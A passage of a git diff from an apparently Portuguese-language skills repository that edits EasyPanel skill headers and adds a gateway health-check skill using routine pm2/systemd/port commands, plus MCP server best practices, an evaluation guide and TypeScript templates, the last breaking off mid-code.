- [ ] Listar accoes recomendadas priorizadas
- [ ] Report formatado (Markdown)
---
## Skills relacionadas
| Skill | Quando usar |
|-------|-------------|
| `/easypanel-troubleshoot` | Diagnostico aprofundado de servico com problema |
| `/easypanel-rollback` | Reverter deploy falhado |
| `/easypanel-deploy` | Deploy de novo servico ou actualizacao |
| `/easypanel-validate` | Validacao pos-deploy |
| `/easypanel-api` | Referencia API tRPC |
| `/server-health` | Health check do servidor CWP (nao EasyPanel) |
---
*Skill v1.0.0 | 12-03-2026 | Descomplicar(r)*

View File

@@ -1,16 +1,7 @@
---
name: easypanel-rollback
description: Rollback EasyPanel deployments to previous versions via API oficial. Safely reverts to
last working deployment. Use when user mentions "easypanel rollback", "reverter
deploy", "rollback deployment", "previous version", "desfazer deploy".
author: Descomplicar® Crescimento Digital
version: 2.0.0
quality_score: 70
user_invocable: true
desk_task: TBD
allowed-tools: Task
dependencies:
- easypanel-api
description: Rollback seguro de deployments EasyPanel para versões anteriores estáveis via API oficial.
disable-model-invocation: true
---
# EasyPanel Rollback

View File

@@ -1,18 +1,6 @@
---
name: easypanel-troubleshoot
description: >
Automated diagnostics for EasyPanel deployment issues via API oficial. Analyzes container logs,
health endpoints, Traefik routing, and resources to identify root causes.
Use when user mentions "easypanel troubleshoot", "deploy failed", "502 error",
"crash loop", "container problems", "debug deployment".
author: Descomplicar® Crescimento Digital
version: 2.0.0
quality_score: 70
user_invocable: true
desk_task: TBD
allowed-tools: Bash, Read
dependencies:
- easypanel-api
description: Diagnóstico automático de problemas de deploy no EasyPanel — análise de logs de containers, health endpoints, routing Traefik e recursos para identificar causas raiz.
---
# EasyPanel Troubleshoot

View File

@@ -1,16 +1,6 @@
---
name: easypanel-validate
description: Validate EasyPanel deployments and health checks via API oficial. Verifies services are
running correctly. Use when user mentions "easypanel validate", "verificar deploy",
"health check", "easypanel status", "deployment validation".
author: Descomplicar® Crescimento Digital
version: 2.0.0
quality_score: 70
user_invocable: true
desk_task: TBD
allowed-tools: Task
dependencies:
- easypanel-api
description: Validação pré-deploy de projectos EasyPanel com health checks, verificação de serviços e auto-fix opcional via API oficial.
---
# EasyPanel Validate

View File

@@ -0,0 +1,220 @@
---
name: gateway-check
description: Health check rapido dos MCPs no gateway.descomplicar.pt — estado services (systemd+pm2), portas, memoria/CPU, erros recentes. Output tabela resumo.
context: fork
---
# /gateway-check v1.0
Health check rapido dos MCPs no servidor gateway (mcp-hub.descomplicar.pt).
**Referencia:** PROC-MCP-Desenvolvimento.md | Memory: `mcp-gateway.md`, `infra.md`
---
## Inventario MCPs Gateway
### pm2 (Node.js — /opt/mcp-gateway/)
| pm2 ID | Nome | Porta | Prioridade |
|--------|------|-------|------------|
| 0 | mcp-desk-crm | 3150 | P1 |
| 1 | mcp-memory | 3151 | P2 |
| 2 | mcp-wikijs | 3152 | P3 |
| 4 | mcp-moloni | 3158 | P2 |
### systemd (24 services)
| Service | Porta | Tipo | Prioridade |
|---------|-------|------|------------|
| mcp-time | 3163 | Node | P1 |
| google-workspace-mcp | 3164 | Python/FastMCP | P1 |
| n8n-mcp | 3157 | Node | P2 |
| gitea-mcp | 3162 | Go | P2 |
| gsc-mcp | 3153 | Python/FastMCP | P2 |
| google-analytics-mcp | 3156 | Python/FastMCP | P2 |
| imap-enterprise | 3155 | Node | P2 |
| context7-mcp | 3159 | Node | P3 |
| cwp-mcp | 3183 | Node/supergateway | P3 |
| cloudflare-dns-mcp | 3171 | Node/supergateway | P3 |
| mcp-youtube | 3187 | Python/FastMCP | P3 |
| youtube-research | 3184 | Node | P3 |
| magic-mcp | 3172 | Node/supergateway | P3 |
| mcp-echarts-mcp | 3173 | Node/supergateway | P3 |
| mcp-mermaid-mcp | 3174 | Node/supergateway | P3 |
| metabase-mcp | 3175 | Node/supergateway | P3 |
| pixabay-mcp | 3176 | Node/supergateway | P3 |
| replicate-mcp | 3177 | Node/supergateway | P3 |
| outline-api-mcp | 3178 | Node/supergateway | P3 |
| pexels-mcp | 3179 | Node/supergateway | P3 |
| penpot-mcp | 3180 | Node/supergateway | P3 |
| vimeo-mcp | 3181 | Node/supergateway | P3 |
| presenton-mcp | 3182 | Node/supergateway | P3 |
| mcp-reonic | 3160 | Node | P3 |
**Prioridades:** P1=critico (bloqueia trabalho) | P2=importante (degrada workflow) | P3=util
---
## Protocolo de Execucao
### 1. Estado dos services
```bash
# Executar via mcp__ssh-unified__ssh_execute(server="gateway")
# pm2
pm2 jlist 2>/dev/null | python3 -c "
import sys,json
for p in json.load(sys.stdin):
print(f\"{p['name']:20s} {p['pm2_env']['status']:10s} cpu={p['monit']['cpu']}% mem={p['monit']['memory']//1024//1024}MB restarts={p['pm2_env']['restart_time']} uptime={round(($(date +%s)*1000-p['pm2_env']['pm_uptime'])/3600000,1)}h\")
"
# systemd — estado + memoria
systemctl list-units --type=service --state=running,failed --no-pager | grep -i mcp
systemctl list-units --type=service --state=failed --no-pager | grep -i mcp
```
### 2. Verificar portas activas
```bash
# Confirmar que todas as portas esperadas estao a escutar
for port in 3150 3151 3152 3153 3155 3156 3157 3158 3159 3160 3162 3163 3164 3171 3172 3173 3174 3175 3176 3177 3178 3179 3180 3181 3182 3183 3184 3187; do
if ss -tln | grep -q ":${port} "; then
echo "OK :${port}"
else
echo "DOWN :${port}"
fi
done
```
### 3. Memoria e CPU por MCP
```bash
# Top consumers de memoria
ps aux --sort=-%mem | head -20 | grep -E 'node|python|supergateway|mcp'
# Memoria total MCPs
ps aux | grep -E 'mcp|supergateway' | awk '{sum+=$6} END {printf "Total MCP RAM: %.0f MB\n", sum/1024}'
# Load do servidor
uptime
free -h
```
### 4. Erros recentes (ultimos 30min)
```bash
# pm2 logs com erros
pm2 logs --err --lines 5 --nostream 2>/dev/null
# systemd services com erros recentes
for svc in $(systemctl list-units --type=service --state=running | grep -i mcp | awk '{print $1}'); do
errs=$(journalctl -u $svc --since "30 min ago" -p err --no-pager -q 2>/dev/null | wc -l)
if [ "$errs" -gt 0 ]; then
echo "=== $svc ($errs erros) ==="
journalctl -u $svc --since "30 min ago" -p err --no-pager -q 2>/dev/null | tail -3
fi
done
```
### 5. Gateway nginx health
```bash
# Verificar nginx activo
systemctl is-active nginx
# Testar endpoint health (se existir)
curl -s -o /dev/null -w "%{http_code}" http://localhost/health 2>/dev/null || echo "no-health-endpoint"
```
---
## Execucao Pratica
Executar os 5 passos via `mcp__ssh-unified__ssh_execute(server="gateway")`. Agrupar comandos para minimizar chamadas SSH (maximo 2-3 chamadas).
**Chamada 1 — estado geral:**
```bash
echo "=== PM2 ===" && pm2 list 2>/dev/null && echo "=== SYSTEMD ===" && systemctl list-units --type=service --state=running --no-pager | grep -i mcp && echo "=== FAILED ===" && systemctl list-units --type=service --state=failed --no-pager | grep -i mcp && echo "=== LOAD ===" && uptime && free -h
```
**Chamada 2 — portas + memoria + erros:**
```bash
echo "=== PORTAS ===" && for port in 3150 3151 3152 3153 3155 3156 3157 3158 3159 3160 3162 3163 3164 3171 3172 3173 3174 3175 3176 3177 3178 3179 3180 3181 3182 3183 3184 3187; do if ss -tln | grep -q ":${port} "; then echo "OK :${port}"; else echo "DOWN :${port}"; fi; done && echo "=== RAM MCPs ===" && ps aux | grep -E 'mcp|supergateway' | grep -v grep | awk '{sum+=$6} END {printf "Total: %.0f MB\n", sum/1024}' && echo "=== PM2 ERROS ===" && pm2 logs --err --lines 3 --nostream 2>/dev/null && echo "=== SYSTEMD ERROS (30min) ===" && for svc in $(systemctl list-units --type=service --state=running | grep -i mcp | awk '{print $1}'); do errs=$(journalctl -u $svc --since "30 min ago" -p err --no-pager -q 2>/dev/null | wc -l); if [ "$errs" -gt 0 ]; then echo "--- $svc ($errs erros) ---"; journalctl -u $svc --since "30 min ago" -p err --no-pager -q 2>/dev/null | tail -2; fi; done
```
---
## Output
Apresentar resultado como tabela resumo:
```markdown
## Gateway Health Check — [data via mcp-time]
**Servidor:** mcp-hub.descomplicar.pt | **Load:** X.XX | **RAM:** X.XG/XG | **MCPs RAM:** XXXMB
### Estado MCPs (X/28 operacionais)
| # | MCP | Porta | Gestor | Estado | RAM | Notas |
|---|-----|-------|--------|--------|-----|-------|
| 1 | mcp-desk-crm | 3150 | pm2 | OK/DOWN/WARN | XXmb | restarts, erros |
| ... | ... | ... | ... | ... | ... | ... |
### Alertas
- [P1] MCP X esta DOWN — accao sugerida
- [WARN] MCP Y tem N restarts nas ultimas Xh
- [WARN] RAM total MCPs > 2GB (limite recomendado)
### Erros Recentes
[lista de erros se existirem, agrupados por MCP]
```
**Criterios de estado:**
- **OK** — service running + porta a escutar + sem erros recentes
- **WARN** — running mas com erros recentes OU >5 restarts OU memoria >250MB
- **DOWN** — service parado OU porta nao escuta
---
## Troubleshooting Automatico
```
Se MCP DOWN:
1. Verificar service: systemctl status <nome>
2. Ver logs: journalctl -u <nome> --since "1h ago" --no-pager | tail -20
3. Se supergateway: verificar preload catch-errors.mjs (mcp-gateway.md)
4. Tentar restart: systemctl restart <nome>
5. Re-verificar porta
Se RAM total > 2GB:
1. Identificar top consumers
2. Verificar processos orphan: ps aux | grep -c supergateway
3. Se orphans > 28: limpar com pkill e restart escalonado (infra.md)
Se muitos restarts pm2:
1. pm2 logs <nome> --err --lines 20
2. Verificar se e o bug conhecido do supergateway (mcp-gateway.md)
```
---
## Anti-Patterns
- **Nunca** fazer restart massivo sem verificar primeiro (pode causar downtime)
- **Nunca** ignorar MCP P1 em estado DOWN
- **Sempre** reportar estado mesmo que tudo esteja OK (confirma que o check correu)
- **Sempre** incluir timestamp via mcp-time no output
---
## Integracao
- **/today** pode invocar `/gateway-check` como parte do checkup diario
- **/infra-check** faz verificacao mais ampla (inclui despesas); `/gateway-check` e focado apenas nos MCPs gateway
- Resultado pode ser publicado na discussao #31 (Logs) do projecto #65
---
*Skill v1.0.0 | 12-03-2026 | Descomplicar*

View File

@@ -1,23 +1,7 @@
---
name: infra-check
description: >
MCP Health Check e auditoria de despesas. Sabado: check completo 9 MCPs + auditoria despesas completa. Domingo: check resumido top 5 + despesas sem PDF. Use when "infra check", "mcp health", "health check", "auditoria despesas", "verificar mcps".
author: Descomplicar® Crescimento Digital
version: 1.0.0
quality_score: 85
user_invocable: true
category: infrastructure
tags: [mcp, health-check, infrastructure, audit, expenses, monitoring]
desk_task: 1710
desk_project: 65
allowed-tools: Read, Write, mcp__desk-crm-v3, mcp__google-workspace, mcp__ssh-unified, mcp__filesystem, mcp__mcp-time, mcp__memory-supabase, WebFetch
mcps: desk-crm-v3, google-workspace, ssh-unified, filesystem, mcp-time, memory-supabase
dependencies:
mcps: [desk-crm-v3, ssh-unified, filesystem, mcp-time]
triggers:
- "User asks about MCP health"
- "User mentions 'health check', 'infra check', 'mcp status'"
- "Invoked by /today orchestrator on Saturday/Sunday"
description: Health check de MCPs e auditoria de despesas — sábado check completo 9 MCPs + auditoria despesas, domingo check resumido top 5 + despesas sem PDF.
context: fork
---
# /infra-check v1.0

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,287 @@
# MCP Best Practices - Referência Completa
> Extraído de auditorias a 27+ projectos MCP (500+ ferramentas).
> Ver também: [PROC-MCP-Desenvolvimento.md](file:///media/ealmeida/Dados/Hub/06-Operacoes/Procedimentos/D7-Tecnologia/MCP/PROC-MCP-Desenvolvimento.md)
---
## Nomenclatura de Tools
**Padrão:** `{serviço}_{acção}_{recurso}` em snake_case
```
# Correcto
get_customer_notes
create_project_task
list_invoice_items
delete_session_token
# Errado
getCustomerNotes (camelCase)
customer-notes-get (kebab-case)
get_customer_notes_with_all_billing_details_and_history (>40 chars)
```
**Limites obrigatórios:**
- Tool name: ≤ 40 caracteres
- Total com prefixo `mcp__<servidor>__<tool>`: ≤ 64 caracteres
**Validação em código:**
```typescript
function validateToolName(name: string): void {
if (name.length > 40) {
throw new Error(`Tool "${name}" excede limite de 40 chars (${name.length})`);
}
}
allTools.forEach(t => validateToolName(t.name));
```
---
## Annotations Obrigatórias
Cada tool deve declarar as suas annotations para orientar o modelo:
```typescript
{
name: 'get_customer',
description: 'Obtém dados de um cliente pelo ID',
annotations: {
readOnlyHint: true, // Não modifica estado
destructiveHint: false, // Não é destrutiva
idempotentHint: true, // Mesmo resultado em chamadas repetidas
openWorldHint: false, // Opera em dados internos (fechado)
},
inputSchema: { ... }
}
```
**Referência rápida:**
| Annotation | Tipo | Significado |
|------------|------|-------------|
| `readOnlyHint` | boolean | Leitura sem efeitos secundários |
| `destructiveHint` | boolean | Pode apagar/substituir dados |
| `idempotentHint` | boolean | Resultado idêntico em múltiplas chamadas |
| `openWorldHint` | boolean | Interage com sistemas externos/web |
**Inferência automática com `inferAnnotations()`:**
```typescript
import { inferAnnotations } from '@modelcontextprotocol/sdk/server/utils.js';
// Inferir automaticamente a partir do nome e descrição da tool
const annotated = inferAnnotations(tool);
```
---
## Capabilities Obrigatórias (Regra de Ouro)
```typescript
// ERRADO: capabilities incompletas -> erro 471
capabilities: { tools: {} }
// CORRECTO: sempre declarar as três, mesmo vazias
capabilities: {
tools: {},
resources: {},
prompts: {}
}
```
**Handlers mínimos obrigatórios:**
```typescript
server.setRequestHandler(ListToolsRequestSchema, async () => ({ tools: [...] }));
server.setRequestHandler(ListResourcesRequestSchema, async () => ({ resources: [] }));
server.setRequestHandler(ListPromptsRequestSchema, async () => ({ prompts: [] }));
server.setRequestHandler(CallToolRequestSchema, async (req) => { ... });
```
---
## Formatos de Resposta
### Dual Format (JSON + Markdown)
Para máxima compatibilidade, devolver ambos:
```typescript
return {
content: [
{
type: 'text',
text: `# Cliente ${data.name}\n\n**ID:** ${data.id}\n**Email:** ${data.email}`
}
],
structuredContent: {
id: data.id,
name: data.name,
email: data.email,
status: data.status
}
};
```
### Erros Accionáveis
```typescript
// ERRADO: mensagem genérica
throw new Error('Falha ao obter dados');
// CORRECTO: mensagem accionável com contexto e próximos passos
return {
content: [{
type: 'text',
text: [
`Erro ao obter cliente ID ${customerId}.`,
`Causa: ${error.message}`,
`Verificar: 1) ID existe na BD 2) Permissões de acesso 3) Conexão à BD`
].join('\n')
}],
isError: true
};
```
---
## Validação com Zod
```typescript
import { z } from 'zod';
const GetCustomerSchema = z.object({
customer_id: z.number().int().positive(),
include_invoices: z.boolean().optional().default(false),
date_from: z.string().regex(/^\d{4}-\d{2}-\d{2}$/).optional(),
});
// No handler
const validated = GetCustomerSchema.parse(args);
// Zod lança ZodError automaticamente se inválido
```
---
## Error Handling
```typescript
server.setRequestHandler(CallToolRequestSchema, async (request) => {
const { name, arguments: args } = request.params;
try {
const result = await handleTool(name, args);
return result;
} catch (error) {
if (error instanceof z.ZodError) {
return {
content: [{
type: 'text',
text: `Parâmetros inválidos:\n${error.errors.map(e => ` - ${e.path.join('.')}: ${e.message}`).join('\n')}`
}],
isError: true
};
}
return {
content: [{
type: 'text',
text: `Erro: ${error instanceof Error ? error.message : String(error)}`
}],
isError: true
};
}
});
```
---
## Logging
```typescript
// SEMPRE usar console.error (não console.log — interfere com stdio)
console.error(`[MCP:${toolName}] Início — params: ${JSON.stringify(args)}`);
console.error(`[MCP:${toolName}] Concluído em ${duration}ms`);
```
---
## Segurança (Checklist Pré-Commit)
- [ ] SQL injection: inputs validados antes de entrar em queries?
- [ ] Interpolação directa em SQL proibida sem validação
- [ ] Transacções em operações multi-query relacionadas
- [ ] Recursos (pool.connect) têm `finally` com release
- [ ] Cleanup (ROLLBACK) tem try-catch próprio
- [ ] `crypto.randomBytes()` em vez de `Math.random()`
- [ ] Secrets em variáveis de ambiente, nunca hardcoded
- [ ] `pnpm audit` sem vulnerabilidades críticas
**Grep de validação:**
```bash
# Interpolação SQL perigosa
grep -rn '`.*\${.*}`' src/ | grep -i 'select\|insert\|update\|delete\|order'
# Math.random em produção
grep -rn 'Math.random' src/
# connect() sem finally
grep -rn '\.connect()' src/
```
---
## Padrões SQL (Perfex CRM)
```typescript
// Perfex usa 0 como "não definido", NÃO NULL
client_id || 0,
project_id || 0,
// Excepção: source em leads precisa ID válido
const [defaultSource] = await db.query(
'SELECT id FROM tblleads_sources ORDER BY id ASC LIMIT 1'
);
leadSource = source || defaultSource?.id || 1;
```
**Tabelas Perfex (prefixo tbl):**
```
tblclients, tblprojects, tbltasks, tblinvoices,
tblleads, tblleads_sources, tblstaff, tbltaskstimers, tblexpenses
```
---
## Transportes
| Transporte | Estado | Uso |
|------------|--------|-----|
| StreamableHTTP | Recomendado | Novos MCPs, acesso remoto |
| stdio | Válido | Claude Code local, scripts |
| SSE | Deprecated | Retrocompatibilidade apenas |
**Portas HTTP reservadas (3200+):**
| Porta | MCP |
|-------|-----|
| 3200 | outline-postgresql |
| 3201+ | disponíveis |
**Portas SSE reservadas (3100+):**
| Porta | MCP |
|-------|-----|
| 3100 | desk-crm-v3 |
| 3101 | memory-supabase |
| 3102 | wikijs |
| 3103 | ssh-unified |
| 3105 | n8n |
| 3106 | cwp |
| 3107 | youtube-research |
| 3108 | moloni |
| 3109+ | disponíveis |
---
*best-practices.md v2.0 | 2026-03-10*

View File

@@ -0,0 +1,280 @@
# MCP Evaluation Guide
> Guia para criar e executar evaluations de servidores MCP.
> Baseado nos padrões do mcp-builder Anthropic.
---
## O que são Evaluations MCP?
Evaluations são testes estruturados que validam o comportamento de um MCP em cenários reais. Não testam apenas se as ferramentas existem — testam se produzem **resultados correctos, seguros e previsíveis**.
**Objectivos:**
- Garantir que cada tool faz o que a descrição promete
- Detectar regressões após alterações
- Validar edge cases e erros esperados
- Confirmar que annotations correspondem ao comportamento real
---
## Estrutura de uma Evaluation
Cada evaluation é definida em XML e contém:
```xml
<evaluation>
<name>get_customer_basic</name>
<description>Verifica que get_customer retorna dados completos de um cliente existente</description>
<tool>get_customer</tool>
<input>
<customer_id>1</customer_id>
</input>
<expected>
<contains>name</contains>
<contains>email</contains>
<not_error>true</not_error>
</expected>
</evaluation>
```
---
## 10 Perguntas de Evaluation por MCP
Para cada MCP novo, responder a estas 10 perguntas criando um teste para cada uma:
```xml
<!-- 1. A tool mais básica funciona? -->
<evaluation id="1">
<question>A tool {principal} retorna dados quando recebe input válido?</question>
<scenario>Input mínimo válido</scenario>
<assert>Resposta não é erro, contém campos esperados</assert>
</evaluation>
<!-- 2. Erros de input são tratados graciosamente? -->
<evaluation id="2">
<question>O que acontece com input inválido (ID negativo, campo obrigatório em falta)?</question>
<scenario>Input inválido ou em falta</scenario>
<assert>Resposta tem isError=true, mensagem é accionável</assert>
</evaluation>
<!-- 3. O recurso inexistente é tratado correctamente? -->
<evaluation id="3">
<question>O que retorna quando o recurso pedido não existe (ID=99999)?</question>
<scenario>Recurso não encontrado</scenario>
<assert>Mensagem clara "não encontrado", não retorna null silencioso</assert>
</evaluation>
<!-- 4. Operações de escrita são idempotentes quando declaradas? -->
<evaluation id="4">
<question>Operações com idempotentHint=true produzem o mesmo resultado em chamadas repetidas?</question>
<scenario>Chamar a mesma tool create/update duas vezes com os mesmos parâmetros</scenario>
<assert>Segundo resultado idêntico ao primeiro ou erro controlado</assert>
</evaluation>
<!-- 5. Operações destrutivas têm confirmação ou são irreversíveis como declarado? -->
<evaluation id="5">
<question>Tools com destructiveHint=true apagam realmente dados? O utilizador é avisado?</question>
<scenario>Executar delete em recurso existente</scenario>
<assert>Dados apagados. Mensagem confirma acção irreversível</assert>
</evaluation>
<!-- 6. Tools read-only não alteram estado? -->
<evaluation id="6">
<question>Tools com readOnlyHint=true não modificam dados?</question>
<scenario>Executar get/list e verificar estado antes e depois</scenario>
<assert>Estado da BD/sistema idêntico antes e depois da chamada</assert>
</evaluation>
<!-- 7. Paginação e listas grandes funcionam? -->
<evaluation id="7">
<question>Tools de listagem com muitos resultados retornam dados paginados correctamente?</question>
<scenario>Lista com 1000+ registos, pedir página 2</scenario>
<assert>Retorna subset correcto, metadados de paginação presentes</assert>
</evaluation>
<!-- 8. Autenticação/autorização é validada? -->
<evaluation id="8">
<question>Chamadas sem credenciais válidas são rejeitadas?</question>
<scenario>Remover variável de ambiente com API key e chamar tool</scenario>
<assert>Erro claro de autenticação, não crash do servidor</assert>
</evaluation>
<!-- 9. structuredContent é consistente com content textual? -->
<evaluation id="9">
<question>O campo structuredContent contém os mesmos dados que o texto Markdown?</question>
<scenario>Comparar campos em structuredContent com conteúdo do text</scenario>
<assert>Dados idênticos em ambos os formatos</assert>
</evaluation>
<!-- 10. Performance é aceitável? -->
<evaluation id="10">
<question>A tool responde em menos de 5 segundos em condições normais?</question>
<scenario>Medir tempo de resposta em 10 chamadas consecutivas</scenario>
<assert>p95 < 5000ms, sem memory leaks após 100 chamadas</assert>
</evaluation>
```
---
## Como Executar Evaluations
### Método Manual (MCP Inspector)
```bash
# Instalar MCP Inspector
npx @modelcontextprotocol/inspector
# Conectar ao MCP local
# Interface web em http://localhost:5173
# Testar cada tool manualmente
```
### Método Automatizado (Script TypeScript)
```typescript
// eval/run-evals.ts
import { Client } from '@modelcontextprotocol/sdk/client/index.js';
import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio.js';
interface EvalResult {
id: string;
passed: boolean;
duration: number;
error?: string;
}
async function runEval(
client: Client,
toolName: string,
input: Record<string, unknown>,
assertions: {
notError?: boolean;
containsFields?: string[];
isError?: boolean;
}
): Promise<EvalResult> {
const start = Date.now();
try {
const result = await client.callTool({ name: toolName, arguments: input });
const duration = Date.now() - start;
// Verificar assertions
if (assertions.notError && result.isError) {
return { id: toolName, passed: false, duration, error: 'Esperava sucesso, recebeu erro' };
}
if (assertions.isError && !result.isError) {
return { id: toolName, passed: false, duration, error: 'Esperava erro, recebeu sucesso' };
}
if (assertions.containsFields) {
const text = result.content[0]?.text || '';
for (const field of assertions.containsFields) {
if (!text.includes(field)) {
return { id: toolName, passed: false, duration, error: `Campo "${field}" não encontrado` };
}
}
}
return { id: toolName, passed: true, duration };
} catch (err) {
return {
id: toolName,
passed: false,
duration: Date.now() - start,
error: err instanceof Error ? err.message : String(err)
};
}
}
// Executar todas as evaluations
async function main() {
const transport = new StdioClientTransport({
command: 'node',
args: ['dist/index.js']
});
const client = new Client({ name: 'eval-client', version: '1.0.0' });
await client.connect(transport);
const results: EvalResult[] = [];
// Eval 1: Tool básica
results.push(await runEval(client, 'get_customer', { customer_id: 1 }, {
notError: true,
containsFields: ['name', 'email']
}));
// Eval 2: Input inválido
results.push(await runEval(client, 'get_customer', { customer_id: -1 }, {
isError: true
}));
// Eval 3: Recurso inexistente
results.push(await runEval(client, 'get_customer', { customer_id: 99999 }, {
isError: true
}));
// Sumário
const passed = results.filter(r => r.passed).length;
const total = results.length;
console.log(`\nEvaluations: ${passed}/${total} passou`);
results.filter(r => !r.passed).forEach(r => {
console.log(` FALHOU ${r.id}: ${r.error}`);
});
await client.close();
process.exit(passed === total ? 0 : 1);
}
main().catch(console.error);
```
**Adicionar ao package.json:**
```json
{
"scripts": {
"eval": "tsx eval/run-evals.ts",
"eval:ci": "npm run build && npm run eval"
}
}
```
---
## Checklist de Evaluations (pré-deploy)
- [ ] Eval 1 passa: tool principal com input válido
- [ ] Eval 2 passa: input inválido retorna erro accionável
- [ ] Eval 3 passa: recurso inexistente retorna erro claro
- [ ] Eval 4 passa: idempotência verificada (se aplicável)
- [ ] Eval 5 passa: operações destrutivas confirmadas
- [ ] Eval 6 passa: read-only não altera estado
- [ ] Eval 7 passa: paginação funciona (se aplicável)
- [ ] Eval 8 passa: auth inválida rejeitada graciosamente
- [ ] Eval 9 passa: structuredContent consistente
- [ ] Eval 10 passa: p95 < 5000ms
---
## Integração CI/CD
```yaml
# .gitea/workflows/eval.yml
name: MCP Evaluations
on: [push, pull_request]
jobs:
eval:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- run: npm ci
- run: npm run eval:ci
```
---
*evaluation-guide.md v1.0 | 2026-03-10*

View File

@@ -0,0 +1,341 @@
# MCP Templates - Scaffolding TypeScript
> Templates de código prontos a usar. Substituir `<nome>` pelo nome real do MCP.
---
## package.json
```json
{
"name": "mcp-<nome>",
"version": "1.0.0",
"type": "module",
"main": "dist/index.js",
"scripts": {
"build": "tsc",
"start": "node dist/index.js",
"start:http": "node dist/index-http.js",
"dev": "tsx src/index.ts",
"dev:http": "tsx src/index-http.ts",
"eval": "tsx eval/run-evals.ts",
"eval:ci": "npm run build && npm run eval",
"reload:http": "npm run build && systemctl --user restart mcp-<nome> && sleep 2 && curl -s http://127.0.0.1:32XX/health"
},
"dependencies": {
"@modelcontextprotocol/sdk": "^1.0.0",
"zod": "^3.22.0"
},
"devDependencies": {
"@types/node": "^20.0.0",
"typescript": "^5.0.0",
"tsx": "^4.0.0"
}
}
```
---
## tsconfig.json
```json
{
"compilerOptions": {
"target": "ES2022",
"module": "ESNext",
"moduleResolution": "bundler",
"outDir": "./dist",
"rootDir": "./src",
"strict": true,
"esModuleInterop": true,
"skipLibCheck": true,
"declaration": true
},
"include": ["src/**/*"],
"exclude": ["node_modules", "dist", "eval"]
}
```
---
## src/index.ts (stdio — padrão local)
```typescript
#!/usr/bin/env node
/**
* MCP <Nome>
* @author Descomplicar® | @link descomplicar.pt | @copyright 2026
*/
import { Server } from '@modelcontextprotocol/sdk/server/index.js';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';
import {
CallToolRequestSchema,
ListToolsRequestSchema,
ListResourcesRequestSchema,
ListPromptsRequestSchema,
} from '@modelcontextprotocol/sdk/types.js';
import { z } from 'zod';
// --- Schemas de validação ---
const ExampleSchema = z.object({
param: z.string().min(1, 'param é obrigatório'),
});
// --- Definição de tools ---
const allTools = [
{
name: 'example_get_item', // {serviço}_{acção}_{recurso}
description: 'Obtém um item pelo ID',
annotations: {
readOnlyHint: true,
destructiveHint: false,
idempotentHint: true,
openWorldHint: false,
},
inputSchema: {
type: 'object' as const,
properties: {
param: { type: 'string', description: 'ID do item' },
},
required: ['param'],
},
handler: async (args: unknown) => {
const { param } = ExampleSchema.parse(args);
// ... lógica aqui
return {
content: [{ type: 'text' as const, text: `Item: ${param}` }],
structuredContent: { id: param, status: 'found' },
};
},
},
];
// --- Servidor ---
const server = new Server(
{ name: 'mcp-<nome>', version: '1.0.0' },
{ capabilities: { tools: {}, resources: {}, prompts: {} } }
);
server.setRequestHandler(ListToolsRequestSchema, async () => ({
tools: allTools.map(t => ({
name: t.name,
description: t.description,
annotations: t.annotations,
inputSchema: t.inputSchema,
})),
}));
server.setRequestHandler(ListResourcesRequestSchema, async () => ({ resources: [] }));
server.setRequestHandler(ListPromptsRequestSchema, async () => ({ prompts: [] }));
server.setRequestHandler(CallToolRequestSchema, async (request) => {
const { name, arguments: args } = request.params;
const tool = allTools.find(t => t.name === name);
if (!tool) {
return {
content: [{ type: 'text', text: `Tool desconhecida: ${name}` }],
isError: true,
};
}
try {
return await tool.handler(args);
} catch (error) {
if (error instanceof z.ZodError) {
return {
content: [{
type: 'text',
text: `Parâmetros inválidos:\n${error.errors.map(e => ` - ${e.path.join('.')}: ${e.message}`).join('\n')}`,
}],
isError: true,
};
}
return {
content: [{
type: 'text',
text: `Erro em ${name}: ${error instanceof Error ? error.message : String(error)}`,
}],
isError: true,
};
}
});
async function main() {
const transport = new StdioServerTransport();
await server.connect(transport);
console.error('MCP <nome> running on stdio');
}
main().catch(console.error);
```
---
## src/index-http.ts (StreamableHTTP — padrão remoto)
```typescript
#!/usr/bin/env node
/**
* MCP <Nome> - HTTP Server Mode
* @author Descomplicar® | @link descomplicar.pt | @copyright 2026
*/
import { Server } from '@modelcontextprotocol/sdk/server/index.js';
import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';
import {
ListToolsRequestSchema,
CallToolRequestSchema,
ListResourcesRequestSchema,
ListPromptsRequestSchema,
} from '@modelcontextprotocol/sdk/types.js';
import * as http from 'http';
import { URL } from 'url';
import { randomUUID } from 'crypto';
const PORT = parseInt(process.env.MCP_HTTP_PORT || '3200', 10);
const HOST = process.env.MCP_HTTP_HOST || '127.0.0.1';
const STATEFUL = process.env.MCP_STATEFUL !== 'false';
const sessions = new Map<string, { transport: StreamableHTTPServerTransport }>();
// Importar allTools do mesmo local que stdio
import { allTools } from './tools/index.js';
function createMcpServer(): Server {
const server = new Server(
{ name: 'mcp-<nome>', version: '1.0.0' },
{ capabilities: { tools: {}, resources: {}, prompts: {} } }
);
server.setRequestHandler(ListToolsRequestSchema, async () => ({
tools: allTools.map(t => ({
name: t.name,
description: t.description,
annotations: t.annotations,
inputSchema: t.inputSchema,
})),
}));
server.setRequestHandler(ListResourcesRequestSchema, async () => ({ resources: [] }));
server.setRequestHandler(ListPromptsRequestSchema, async () => ({ prompts: [] }));
server.setRequestHandler(CallToolRequestSchema, async (request) => {
const { name, arguments: args } = request.params;
const tool = allTools.find(t => t.name === name);
if (!tool) {
return { content: [{ type: 'text', text: `Tool desconhecida: ${name}` }], isError: true };
}
try {
return await tool.handler(args);
} catch (error) {
return {
content: [{ type: 'text', text: `Erro: ${error instanceof Error ? error.message : String(error)}` }],
isError: true,
};
}
});
return server;
}
async function main() {
const httpServer = http.createServer(async (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, DELETE, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Mcp-Session-Id');
if (req.method === 'OPTIONS') { res.writeHead(200); res.end(); return; }
const url = new URL(req.url || '/', `http://${HOST}:${PORT}`);
if (url.pathname === '/health') {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ status: 'ok', version: '1.0.0', sessions: sessions.size, tools: allTools.length }));
return;
}
if (url.pathname === '/mcp') {
try {
const transport = new StreamableHTTPServerTransport({
